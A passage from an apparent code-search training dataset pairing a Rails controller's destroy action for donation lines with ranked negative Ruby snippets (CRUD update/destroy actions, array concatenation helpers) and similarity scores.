|format|\n format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n format.json { head :no_content }\n format.js\n end\n # respond_to do |format|\n # if @storyline.update_attributes(params[:storyline])\n # format.html { redirect_to @storyline, notice: 'Storyline was successfully updated.' }\n # format.json { head :no_content }\n # else\n # format.html { render action: \"edit\" }\n # format.json { render json: @storyline.errors, status: :unprocessable_entity }\n # end\n # end\n end",
"def update\n record = InvoiceLineItem.find(params[:id])\n print record.to_json\n record.update_attributes(params[:record]) \n respond_to do |format|\n format.html\n format.json {\n render json: {}\n }\n end\n end",
"def update\n @linea = Linea.find(params[:id])\n\n respond_to do |format|\n if @linea.update_attributes(params[:linea])\n format.html { redirect_to(@linea, :notice => 'Linea actualizada correctamente.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @linea.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit }\n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @donation = Donation.find(params[:id])\n\n respond_to do |format|\n if @donation.update_attributes(params[:donation])\n format.html { redirect_to donations_path, notice: 'Donation was successfully updated.' }\n #format.json { head :no_content }\n else\n format.html { render action: \"edit\" }\n #format.json { render json: @donation.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_item.update(line_item_params)\n format.html { redirect_to @line_item, notice: 'Line item was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_item }\n else\n format.html { render :edit } \n format.json { render json: @line_item.errors, status: :unprocessable_entity }\n end\n end\n end",
"def line_one=(line_one)\n @line_one = line_one\n end",
"def set_line_detail\n @line_detail = LineDetail.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @line_case.update(line_case_params)\n format.html { redirect_to @line_case, notice: 'Line case was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_case }\n else\n format.html { render :edit }\n format.json { render json: @line_case.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n liner = Liner.find_by(liner_reference: liner_params[\"liner_reference\"])\n original_thickness = liner.original_thickness.to_i\n current_thickness = liner_params[\"current_thickness\"].to_i\n thickness_loss_per_day = original_thickness - current_thickness\n liner_params[\"thickness_loss_per_day\"] = thickness_loss_per_day\n if @liner.update(liner_params)\n format.html { redirect_to @liner, notice: 'Liner was successfully updated.' }\n format.json { render :show, status: :ok, location: @liner }\n else\n format.html { render :edit }\n format.json { render json: @liner.errors, status: :unprocessable_entity }\n end\n end\n end",
"def create\n @admin=Admin.find(current_admin.id)\n @credit_line = @admin.credit_lines.create(params[:credit_line])\n #@credit_line.admin=@admin.id\n respond_to do |format|\n if @credit_line.save\n format.html { redirect_to @credit_line, notice: 'Credit line was successfully created.' }\n format.json { render json: @credit_line, status: :created, location: @credit_line }\n else\n format.html { render action: \"new\" }\n format.json { render json: @credit_line.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n respond_to do |format|\n if @line_items.update(line_item_params)\n format.html { redirect_to @line_items, notice: 'Line item was successfully updated.' }\n format.json { render json: :show, status: :ok, location: @line_item }\n else\n format.html { render action: \"edit\" }\n format.json { render json: @line_items.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @lineas_despacho = LineasDespacho.find(params[:id])\n\n respond_to do |format|\n if @lineas_despacho.update_attributes(params[:lineas_despacho])\n format.html { redirect_to(@lineas_despacho, :notice => 'LineasDespacho was successfully updated.') }\n format.xml { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.xml { render :xml => @lineas_despacho.errors, :status => :unprocessable_entity }\n end\n end\n end",
"def set_budget_line\n @budget_line = BudgetLine.find(params[:id])\n end",
"def set_budget_line\n @budget_line = BudgetLine.find(params[:id])\n end",
"def update\n respond_to do |format|\n if @line_destination.update(line_destination_params)\n format.html { redirect_to @line_destination, notice: 'Line destination was successfully updated.' }\n format.json { render :show, status: :ok, location: @line_destination }\n else\n format.html { render :edit }\n format.json { render json: @line_destination.errors, status: :unprocessable_entity }\n end\n end\n end",
"def update\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @attachable = @customer_quote\n\n respond_to do |format|\n if @customer_quote_line.update_attributes(customer_quote_line_params)\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was successfully updated.' }\n format.json { head :ok }\n else\n format.html { render :action => \"edit\" }\n format.json { render :json => @customer_quote_line.errors, :status => :unprocessable_entity }\n end\n end\n end"
] |
[
"0.66414714",
"0.6581012",
"0.647276",
"0.64682466",
"0.63875943",
"0.6385646",
"0.62469786",
"0.62111914",
"0.6165975",
"0.61416936",
"0.60915214",
"0.60760677",
"0.60757685",
"0.6061588",
"0.6053871",
"0.6051897",
"0.6043776",
"0.6018619",
"0.59601456",
"0.595917",
"0.5901822",
"0.5897428",
"0.58672017",
"0.582525",
"0.58000004",
"0.58000004",
"0.58000004",
"0.5799664",
"0.5786041",
"0.5784763",
"0.5784763",
"0.5784763",
"0.5784763",
"0.5784763",
"0.5783726",
"0.5782479",
"0.57754004",
"0.5757227",
"0.5756226",
"0.5728215",
"0.569485",
"0.5691234",
"0.5690397",
"0.5681819",
"0.5678889",
"0.56653374",
"0.5655899",
"0.5628657",
"0.5627563",
"0.5623713",
"0.56172085",
"0.5617154",
"0.5607996",
"0.56005085",
"0.55995756",
"0.5589328",
"0.5581192",
"0.55741554",
"0.5572688",
"0.55663145",
"0.55663145",
"0.55663145",
"0.5564003",
"0.5561215",
"0.5553653",
"0.5550064",
"0.5547479",
"0.55427366",
"0.5535945",
"0.55342245",
"0.55298376",
"0.5524668",
"0.55179155",
"0.55171126",
"0.55160135",
"0.5506295",
"0.5506295",
"0.5505751",
"0.5501324",
"0.54992425",
"0.54943895",
"0.54943895",
"0.54943895",
"0.54943895",
"0.54943895",
"0.54943895",
"0.54943895",
"0.54936635",
"0.5492342",
"0.54921097",
"0.54898375",
"0.54828423",
"0.5479002",
"0.5478492",
"0.547456",
"0.5471395",
"0.5470643",
"0.5470643",
"0.54702747",
"0.54665077"
] |
0.75554067
|
0
|
DELETE /donation_lines/1 DELETE /donation_lines/1.json
|
def destroy
@donation_line = DonationLine.find(params[:id])
@donation_line.destroy
respond_to do |format|
format.html { redirect_to donation_lines_url }
format.json { head :ok }
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def destroy\n @line = Line.find_by_no(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to budget_path(@line.budget) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_detail.destroy\n respond_to do |format|\n format.html { redirect_to line_details_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line = Line.find(params[:id])\n @line.destroy\n\n respond_to do |format|\n format.html { redirect_to new_line_path }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item1 = LineItem1.find(params[:id])\n @line_item1.destroy\n\n respond_to do |format|\n format.html { redirect_to line_item1s_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @budget_line.destroy\n respond_to do |format|\n format.html { redirect_to budget_lines_url, notice: 'Budget line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @payment = Payment.find(params[:payment_id])\n @payment_line = @payment.payment_lines.find(params[:id])\n @payment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to payment_payment_lines_url(payment) }\n format.json { head :ok }\n end\n end",
"def destroy\n @sample_line = SampleLine.find(params[:id])\n @sample_line.destroy\n\n respond_to do |format|\n format.html { redirect_to sample_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to lines_url, notice: \"Line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invent_journal_line = InventJournalLine.find(params[:id])\n @invent_journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to invent_journal_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @so_header = SoHeader.find(params[:so_header_id])\n @so_line = @so_header.so_lines.find(params[:id])\n @so_line.destroy\n\n respond_to do |format|\n format.html { redirect_to so_header_so_lines_url(@so_header) }\n format.json { head :ok }\n end\n end",
"def destroy\n\t\t@line_item.destroy\n\n\t\trespond_to do |format|\n\t\t\tformat.html { redirect_to line_items_url, notice: \"Req ID: #{@line_item.id} removed.\" }\n\t\t\tformat.json { head :no_content }\n\t\tend\n\tend",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @credit_line = CreditLine.find(params[:id])\n @credit_line.destroy\n\n respond_to do |format|\n format.html { redirect_to credit_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @item_line = ItemLine.find(params[:id])\n @item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_addon_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_addon_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineitem.destroy\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @cruise_line.destroy\n respond_to do |format|\n format.html { redirect_to cruise_lines_url, notice: 'Cruise line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @purchase_order_item_line = PurchaseOrderItemLine.find(params[:id])\n @purchase_order_item_line.destroy\n\n respond_to do |format|\n format.html { redirect_to purchase_order_item_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @lineup = Lineup.find(params[:id])\n @lineup.destroy\n\n respond_to do |format|\n format.html { redirect_to lineups_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item.destroy\n destroy_line_item_response\n end",
"def destroy\n record = InvoiceLineItem.find(params[:id])\n record.destroy\n\n respond_to do |format| \n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line = OrderLine.find(params[:id])\n @order_line.destroy\n\n respond_to do |format|\n format.html { redirect_to orders_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_items.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @batting_line = BattingLine.find(params[:id])\n @batting_line.destroy\n\n respond_to do |format|\n format.html { redirect_to batting_lines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @invoice_adjustment_line = InvoiceAdjustmentLine.find(params[:id])\n @invoice_adjustment_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(invoice_adjustment_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @lineitem = Lineitem.find(params[:id])\n @lineitem.destroy\n\n respond_to do |format|\n format.html { redirect_to lineitems_url }\n format.json { head :ok }\n end\n end",
"def destroy\n @line_item = @order.line_items.find(params[:id])\n @line_item.destroy\n\n head :no_content\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to @line_item.cart, notice: t('line_items.destroy.lineDelete') }\n format.json { head :no_content }\n end\n end",
"def destroy\n Line.transaction do\n @line.destroy!\n end\n respond_to do |format|\n format.html { redirect_to node_lines_url(@node), notice: 'Line was successfully destroyed.' }\n format.json { head :no_content }\n format.js\n end\n end",
"def destroy\n #@line = Line.find(params[:id])\n #@line.destroy\n\n #respond_to do |format|\n #format.html { redirect_to(lines_url) }\n #format.xml { head :ok }\n #end\n @line.destroy\n redirect_to lines_path, :flash => { :success => \"Line deleted!\" }\n\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def delete_json(path)\n url = [base_url, path].join\n resp = HTTParty.delete(url, headers: standard_headers)\n parse_json(url, resp)\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @clothing_line.destroy\n respond_to do |format|\n format.html { redirect_to clothing_lines_url, notice: 'Clothing line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @contract_service_line.destroy\n respond_to do |format|\n format.html { redirect_to contract_service_lines_url, notice: 'Contract service line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_case.destroy\n respond_to do |format|\n format.html { redirect_to line_cases_url, notice: 'Line case was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation.destroy\n respond_to do |format|\n format.html { redirect_to api_v1_donations_url, notice: 'Donation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @sub1_line_item.destroy\n respond_to do |format|\n format.html { redirect_to sub1_line_items_url, notice: 'Sub1 line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @storyline = Storyline.find(params[:id])\n @storyline.destroy\n\n respond_to do |format|\n format.html { redirect_to storylines_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @journal_line = JournalLine.find(params[:id])\n @journal_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(journal_lines_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @line_item = line_items.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @order_line.destroy\n respond_to do |format|\n format.html { redirect_to order_lines_url, notice: 'Order line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.js {}\n format.json { head :no_content }\n end\n end",
"def delete\n DB.exec(\"DELETE FROM line WHERE id = #{self.id};\")\n end",
"def destroy\n @quote_line.destroy\n respond_to do |format|\n format.html { redirect_to quote_lines_url }\n format.json { head :no_content }\n end\n end",
"def noteboard_delete(line_number)\n \n\n end",
"def destroy\n @invoice_line_item.destroy\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url, notice: 'Invoice line item was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation.destroy\n respond_to do |format|\n format.html { redirect_to event_donations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @translated_line.destroy\n respond_to do |format|\n format.html { redirect_to translated_lines_url, notice: 'Translated line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: 'Line item was successfully destroyed.' }\n format.json { head :no_content }\n end\nend",
"def test_del\n header 'Content-Type', 'application/json'\n\n data = File.read 'sample-traces/0.json'\n post('/traces', data, 'CONTENT_TYPE': 'application/json')\n\n id = last_response.body\n\n delete \"/traces/#{id}\"\n assert last_response.ok?\n\n get \"/traces/#{id}\"\n\n contents = JSON.parse last_response.body\n assert_kind_of(Hash, contents, 'Response contents is not a hash')\n assert contents.key? 'description'\n assert(!last_response.ok?)\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to line_items_url, notice: \"Line item was successfully destroyed.\" }\n format.json { head :no_content }\n end\nend",
"def destroy\n @donation.destroy\n respond_to do |format|\n format.html { redirect_to donations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation = Donation.find(params[:id])\n @donation.destroy\n\n respond_to do |format|\n format.html { redirect_to donations_url }\n #format.json { head :no_content }\n end\n end",
"def destroy\n @donation = Donation.find(params[:id])\n @donation.destroy\n\n respond_to do |format|\n format.html { redirect_to donations_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_liver.destroy\n respond_to do |format|\n format.html { redirect_to line_livers_url, notice: 'Line liver was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donate.destroy\n\n respond_to do |format|\n format.html { redirect_to(donates_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donate.destroy\n\n respond_to do |format|\n format.html { redirect_to(donates_url) }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_up.destroy\n respond_to do |format|\n format.html { redirect_to line_ups_url, notice: 'Line up was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line.destroy\n respond_to do |format|\n format.html { redirect_to attachment_line_list_path(@line.attachment), notice: 'Line was successfully destroyed.' }\n end\n end",
"def delete\n client.delete(\"/#{id}\")\n end",
"def destroy\n @shipping_line = ShippingLine.find(params[:id])\n @shipping_line.destroy\n\n respond_to do |format|\n format.html { redirect_to shipping_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete(path)\n RestClient.delete request_base+path\n end",
"def delete(path, params)\n headers = {:Authorization => \"token #{token}\", :content_type => :json, :accept => :json}\n res = RestClient.delete(\"#{github_api_uri}/#{path}\", params.to_json, headers)\n Yajl.load(res)\n end",
"def destroy\n @applied_line.destroy\n respond_to do |format|\n format.html { redirect_to applied_lines_url, notice: 'Applied line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item = LineItem.find(params[:id])\n @line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to line_items_url }\n format.js\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation.destroy\n respond_to do |format|\n format.html { redirect_to donations_url, notice: 'Donation was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @customer_quote = CustomerQuote.find(params[:customer_quote_id])\n @customer_quote_line = @customer_quote.customer_quote_lines.find(params[:id])\n @customer_quote_line.destroy\n\n respond_to do |format|\n format.html { redirect_to customer_quote_path(@customer_quote), :notice => 'Customer quote line was deleted updated.' }\n format.json { head :ok }\n end\n end",
"def destroy\n @service_line = ServiceLine.find(params[:id])\n @service_line.destroy\n\n respond_to do |format|\n format.html { redirect_to(service_lines_url) }\n format.xml { head :ok }\n end\n end",
"def delete\n response = WebPay.client.delete(path)\n response['deleted']\n end",
"def delete_tenant_circle(args = {}) \n delete(\"/tenantcircles.json/#{args[:circleId]}\", args)\nend",
"def destroy\n @liner.destroy\n respond_to do |format|\n format.html { redirect_to liners_url, notice: 'Liner was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation_record_actual_fund.destroy\n respond_to do |format|\n format.html { redirect_to @donation_record}\n format.json { head :no_content }\n end\n end",
"def destroy\n @line_item.destroy\n respond_to do |format|\n format.html { redirect_to cart_path(@current_cart), notice: 'Line item was successfully removed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @estimate_line_item = EstimateLineItem.find(params[:id])\n @estimate_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to(estimate_line_items_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @order.line_items.clear\n respond_to do |format| \n format.html { redirect_to(edit_object_url) } \n end\n end",
"def destroy\n @package_line.destroy\n respond_to do |format|\n format.html { redirect_to package_lines_url, notice: 'Package line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @trade_line.destroy\n respond_to do |format|\n format.html { redirect_to trade_lines_url }\n format.json { head :no_content }\n end\n end",
"def delete path\n make_request(path, \"delete\", {})\n end",
"def destroy\n @invoice_line_item = InvoiceLineItem.find(params[:id])\n @invoice_line_item.destroy\n\n respond_to do |format|\n format.html { redirect_to invoice_line_items_url }\n format.json { head :no_content }\n end\n end",
"def destroy\n @shipping_line.destroy\n respond_to do |format|\n format.html { redirect_to shipping_lines_url, notice: \"Shipping line was successfully destroyed.\" }\n format.json { head :no_content }\n end\n end",
"def destroy\n @linea = Linea.find(params[:id])\n @linea.destroy\n\n respond_to do |format|\n format.html { redirect_to(lineas_url) }\n format.xml { head :ok }\n end\n end",
"def destroy\n @textline.destroy\n respond_to do |format|\n format.html { redirect_to textlines_url, notice: 'Textline was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @donation.destroy\n respond_to do |format|\n format.html { redirect_to root_url, notice: 'Donation was successfully destroyed.' }\n format.json { head :no_content }\n end\n end",
"def destroy\n @liquidation_form_line.destroy\n respond_to do |format|\n format.html { redirect_to liquidation_form_lines_url, notice: 'Liquidation form line was successfully destroyed.' }\n format.json { head :no_content }\n end\n end"
] |
[
"0.69119835",
"0.68276685",
"0.67853093",
"0.67767644",
"0.6707717",
"0.662782",
"0.6620618",
"0.6599085",
"0.65455747",
"0.65115637",
"0.6490036",
"0.64838433",
"0.6477999",
"0.6477999",
"0.6477806",
"0.64775133",
"0.6454877",
"0.6431016",
"0.64274913",
"0.6417593",
"0.6417593",
"0.6417593",
"0.6417593",
"0.6385377",
"0.63807",
"0.6367391",
"0.6365962",
"0.63602847",
"0.63551205",
"0.63550705",
"0.6349037",
"0.63375163",
"0.6336127",
"0.6323905",
"0.6299019",
"0.62988305",
"0.6296353",
"0.6294444",
"0.6288091",
"0.62783647",
"0.62783647",
"0.62783647",
"0.62783647",
"0.62783647",
"0.62783647",
"0.6277248",
"0.6266758",
"0.62510407",
"0.62463415",
"0.62293535",
"0.6223582",
"0.6221492",
"0.620356",
"0.61989653",
"0.6197978",
"0.61909896",
"0.61894333",
"0.6187299",
"0.61867774",
"0.61828685",
"0.6173131",
"0.6166024",
"0.6158077",
"0.6138838",
"0.61284524",
"0.61218655",
"0.6110392",
"0.61098844",
"0.6106526",
"0.6103121",
"0.6101565",
"0.6099703",
"0.6099703",
"0.6098807",
"0.60979784",
"0.6094285",
"0.60791475",
"0.607147",
"0.6071017",
"0.60554945",
"0.6052573",
"0.60468996",
"0.6040246",
"0.6036899",
"0.60334986",
"0.6033086",
"0.6020203",
"0.60100615",
"0.6002251",
"0.60005915",
"0.5997524",
"0.59907377",
"0.5986833",
"0.5986511",
"0.5984115",
"0.5972946",
"0.59615594",
"0.5960927",
"0.59595156",
"0.5958229"
] |
0.7681722
|
0
|
Dive down and try to find an array of regular values that could construct the left side of a concatination. This is used to minimize the splat doing a send.
|
def peel_lhs
case @array
when ConcatArgs
@array.peel_lhs
when ArrayLiteral
ary = @array.body
@array = nil
ary
else
nil
end
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def concat(p0) end",
"def concat(p0) end",
"def f6; return *['a','b'] &['a','Y','Z'] end",
"def test_0910_collect_concat\n @@log.debug \"test_0910_collect_concat starts\" if @@log.debug?\n assert_respond_to(@list, :collect_concat, \"test_0910_collect_concat_respond\")\n # Need some arrays for this test .....\n part_one = [@aen, @bsb]\n part_two = [@cab, @dad]\n ary_all = [ part_one, part_two ]\n # This should be the orignal list\n cc_res = ary_all.collect_concat {|pers| pers }\n 0.upto(cc_res.size-1) do |n|\n # Each element should be the same\n assert(cc_res[n] == @list[n], \"test_0910_collect_concat_eltck_#{n}\")\n end\n #\n assert(cc_res == @list.to_a, \"test_0910_collect_concat_eltck_all\")\n #\n @@log.debug \"test_0910_collect_concat ends\" if @@log.debug?\n end",
"def concat_without_hooks( *arrays )\n\n @without_hooks = true\n\n concat( *arrays )\n \n @without_hooks = false\n\n return arrays\n\n end",
"def find_concatenated(word)\n [].tap { |a| probe_words(0, word, a) }\n end",
"def using_concat(array1, array2)\n array1 = array1.push(*array2)\n\nend",
"def safe_join(array, sep = T.unsafe(nil)); end",
"def _reduce_78(val, _values, result)\n result << val[1]\n result\nend",
"def array_concat(array_1, array_2)\n\treturn [] if both_empty?(array_1, array_2)\n\treturn array_1 if two_empty?(array_1, array_2)\n\treturn array_2 if one_empty?(array_1, array_2)\n\tfor x in array_2[0..-1]\n\t\tarray_1 << x\n\tend\n\treturn array_1\nend",
"def array_concat(array_1, array_2)\n array_2.each do |x|\n array_1[array_1.length] = x\n end\n return array_1\nend",
"def using_concat(array0, array1)\n array0.concat(array1)\nend",
"def using_concat(array, arr2)\n array.concat(arr2)\nend",
"def using_concat(array, array2)\n array.concat(array2)\nend",
"def concat(other_ary)\n other_ary = _ensure_array_is_valid other_ary\n super\n end",
"def concat(array,array2)\n while array2.length > 0\n array << array2.delete_at(0)\n end\n return array\nend",
"def _reduce_378(val, _values, result)\n result = val[0].concat(val[2]).concat(val[3])\n \n result\nend",
"def _reduce_37(val, _values, result)\n result = val.join \n result\nend",
"def _reduce_441(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def _reduce_441(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n\n result\nend",
"def using_concat(array1, array2)\n array1 = array1.concat(array2)\nend",
"def _reduce_537(val, _values, result)\n result = @builder.string_compose(nil, val[0], nil)\n \n result\nend",
"def concat(*args)\n args.flatten\nend",
"def _reduce_109(val, _values, result)\n result << val[1]\n result\nend",
"def double_array(array)\n array.concat(array)\nend",
"def splat(thing)\n (thing.is_a?(Array) ? thing : [thing]).compact\n end",
"def using_concat(array1, array2)\n array1.concat(array2)\nend",
"def using_concat (first_arr, second_arr)\n return first_arr.concat(second_arr)\nend",
"def custom_concat(arr1,arr2)\narr1 + arr2\nend",
"def _reduce_28(val, _values, result)\n result = val.join \n result\nend",
"def concat(array1, array2)\n if !array1.is_a?(Array) || !array2.is_a?(Array)\n return nil\n else \n return array1 + array2\n end\nend",
"def using_concat(array1, array2)\n array1.concat(array2)\nend",
"def _reduce_236(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def _reduce_236(val, _values, result)\n result = val[0] << @builder.associate(nil, val[2], nil)\n \n result\nend",
"def using_concat(array1,array2)\n array1.concat(array2)\nend",
